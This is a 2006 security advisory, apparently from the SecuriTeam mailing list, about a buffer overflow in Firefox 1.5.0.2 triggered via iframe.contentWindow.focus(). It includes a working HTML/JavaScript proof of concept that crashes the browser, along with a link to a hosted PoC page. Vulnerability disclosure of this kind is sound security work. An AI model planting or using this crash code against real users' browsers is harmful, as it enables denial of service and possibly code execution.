[NT] Firefox Remote Code Execution and DoS
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 27 Apr 2006 14:07:17 +0200
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Firefox Remote Code Execution and DoS
------------------------------------------------------------------------
SUMMARY
Mozilla <http://www.mozilla.com/firefox/> Firefox is "a free, open
source, cross-platform, graphical web browser developed by the Mozilla
Corporation and hundreds of volunteers".
A handling issue exists in how Firefox handles certain Javascript in
js320.dll and xpcom_core.dll regarding iframe.contentWindow.focus(). By
manipulating this feature a buffer overflow will occur.
DETAILS
Vulnerable Systems:
* Mozilla Firefox for Linux / Windows version 1.5.0.2.
Proof of Concept:
Note: Following link lead to page containing malicious DoS code.
<http://www.securident.com/vuln/ffdos.htm>
http://www.securident.com/vuln/ffdos.htm - Firefox DoS proof of concept.
Paste the below code snippet and view it in Firefox for DoS PoC or visit
the link above.
<textarea cols="0" rows="0" id="x_OtherInfo"
name="x_OtherInfo"></textarea>
<script>
var textarea = document.getElementsByName("x_OtherInfo");
textarea=textarea.item(0);
var htmlarea = document.createElement("div");
htmlarea.className = "htmlarea";
textarea.parentNode.insertBefore(htmlarea, textarea);
var iframe = document.createElement("iframe");
htmlarea.appendChild(iframe);
var doc = iframe.contentWindow.document;
doc.designMode = "on";
doc.open();
doc.write("<iframe src=''>");
iframe.contentWindow.focus()
doc.close();
</script>
</textarea>
ADDITIONAL INFORMATION
The information has been provided by <mailto:chris@xxxxxxxxxxx> chris.
The original article can be found at:
<http://www.securident.com/vuln/ff.txt>
http://www.securident.com/vuln/ff.txt
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